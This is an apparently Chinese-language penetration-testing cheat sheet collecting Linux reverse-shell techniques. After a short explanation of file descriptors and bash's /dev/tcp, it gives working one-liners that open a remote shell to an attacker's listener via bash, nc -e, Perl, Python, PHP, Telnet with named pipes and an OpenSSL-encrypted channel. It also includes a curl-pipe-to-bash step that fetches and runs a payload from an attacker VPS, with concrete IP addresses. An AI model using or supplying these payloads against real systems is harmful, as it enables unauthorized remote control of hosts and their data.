Linux 反弹 Shell
什么是反弹shell
被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。
此处以 Bash 反弹 Shell(反向连接的一种姿势)举例(受控端无 nc 工具):
控制端:监听端口
# 控制端使用 nc 监听 本地的某个端口,等待受控端传递 Shell
nc -lvvp 6666(port)
受控端:bash 反弹 shell
# 受控端使用 "bash -i" 命令新建一个 bash 窗口
# '>' 重定向给了 '/dev/tcp/ip/port' 这个设备(Linux 中万物皆文件) -- Linux 中默认 bash 重定向的为 描述符 '1' ,即标准输出、输出设备。
# 因此此步成功将 受控端 新建的 bash 的输出结果反弹给了 控制端
# '0>&1 2>&1' 此处 将 描述符0 和 描述符2 也都 重定向 给了 描述符1 对应的设备,因此受控端的"输入设备"、"输出设备"、"报错输出" 都被反弹给了控制端
# 受控端的 bash 也将不会显示任何信息,bash 反弹 Shell 成功。
bash -i > /dev/tcp/10.0.1.128/6666 0>&1 2>&1
描述符简介:
我们与计算机之间的交互是我可以输入一些指令之后它给我一些输出。
文件描述符0:理解为我和计算机交互时的输入,而这个输入默认是指向键盘的。
文件描述符1:理解为我和计算机交互时的输出,而这个输出默认是指向显示器的。
文件描述符2:理解为我和计算机交互时,计算机出现错误时的输出,而这个输出默认是和文件描述符1指向一个位置。
反弹 Shell 姿势合集
Bash 反弹 Shell
如上面演示相同,当我们拥有受控端的 命令执行 权限时,可创建一个 bash 终端反弹给我们的控制端。
控制端:监听端口
# 控制端使用 nc 监听 本地的某个端口,等待受控端传递 Shell
nc -lvvp 6666(port)
受控端:bash 反弹 shell
# 受控端使用 "bash -i" 命令新建一个 bash 窗口
# '>' 重定向给了 '/dev/tcp/ip/port' “/dev/tcp/”是Linux中的一个特殊设备文件(Linux一切皆文件) 实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。/dev/tcp/ip/port 的意思就是和 ip 的 port 端口建立TCP连接 。
-- Linux 中默认 bash 重定向的为 描述符 '1' ,即标准输出、输出设备。
# ),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。
# 打开这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
# 因此此步成功将 受控端 新建的 bash 的输出结果反弹给了 控制端
# '0>&1 2>&1' 此处 将 描述符0 和 描述符2 也都 重定向 给了 描述符1 对应的设备,因此受控端的"输入设备"、"输出设备"、"报错输出" 都被反弹给了控制端
# 受控端的 bash 也将不会显示任何信息,bash 反弹 Shell 成功。
bash -i >& /dev/tcp/10.0.1.128/6666 0>&1 2>&1
NC
Nc 正向连接
受控端监听端口,控制端去连接。
受控端:监听端口
nc -lvvp 6666 -e /bin/sh(/bin/bash .....)
控制端:Nc连接
nc 10.0.1.128 6666
Nc 反向连接
控制端监听端口,受控端去连接。
控制端:监听端口
nc -lvvp 6666
受控端:Nc连接
nc 10.0.1.128 6666 -e /bin/bash
Perl
Payload 1
控制端 监听端口,受控端 执行以下命令。
perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Payload 2
控制端 监听端口,受控端 执行以下命令。
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ip:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
使用 MSF 找寻更多 Perl 反弹 Shell 的 payload: msfvenom -l payloads | grep "perl" | awk '{print $1}'
Curl
渗透主机VPS
渗透机VPS 在本地起一个网站 (如果用python3命令新建临时页面的话那么任意位置均可),网站内容为反弹 shell 的命令:
bash -i > /dev/tcp/ip/port 0>&1 2>&1
Python 起一个临时页面
python3 -m http.server
Response:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
47.101.214.85 - - [03/Dec/2020 09:21:39] "GET /index.html HTTP/1.1" 200 -
渗透目标
Curl
命令 访问 渗透主机VPS 带有 反弹Shell
命令的网页,并通过管道符|
传递给bash
终端执行。curl ip:8000|bash OR curl http://ip:8000/index.html|bash
Python
控制端 监听端口,受控端 执行以下命令。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
控制端 监听端口,受控端 执行以下命令:
前提条件当然是需要 受控端 有 PHP 环境。
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'
Telnet
两次 Telnet 反弹 Shell
控制端 运行两个终端分别监听不同端口,最终实现反弹Shell,终端一拥有输入命令权限,终端二拥有显示命令执行结果权限,
受控端 执行以下命令。
# 特别注意 IP 和 Port 之间没有 ':' !!!!! telnet IP Port | /bin/bash | telnet IP Port
一次 Telnet 反弹 Shell
控制端 监听端口,受控端 执行以下命令。
mknod a; telnet IP Port 0<a | /bin/bash 1>a OR rm -f a && mknod a p && telnet 47.101.214.85 6666 0<a | /bin/bash 1>a OR rm -f a;mknod a p;telnet 47.101.214.85 6666 0<a | /bin/bash 1>a
OpenSSL
控制端 - 渗透机VPS 使用 OpenSSL 生成 密钥文件 ,然后通过密钥文件启动监视器(开启443端口开放 SSL 加密通信通道),
受控端 - 执行命令连接 控制端 ,反弹Shell。
控制端
# 1.在远程攻击主机上生成秘钥文件 openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes # 2.在远程攻击主机上启动监视器 openssl s_server -quiet -key key.pem -cert cert.pem -port 443
受控端
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect IP:PORT > /tmp/s; rm /tmp/s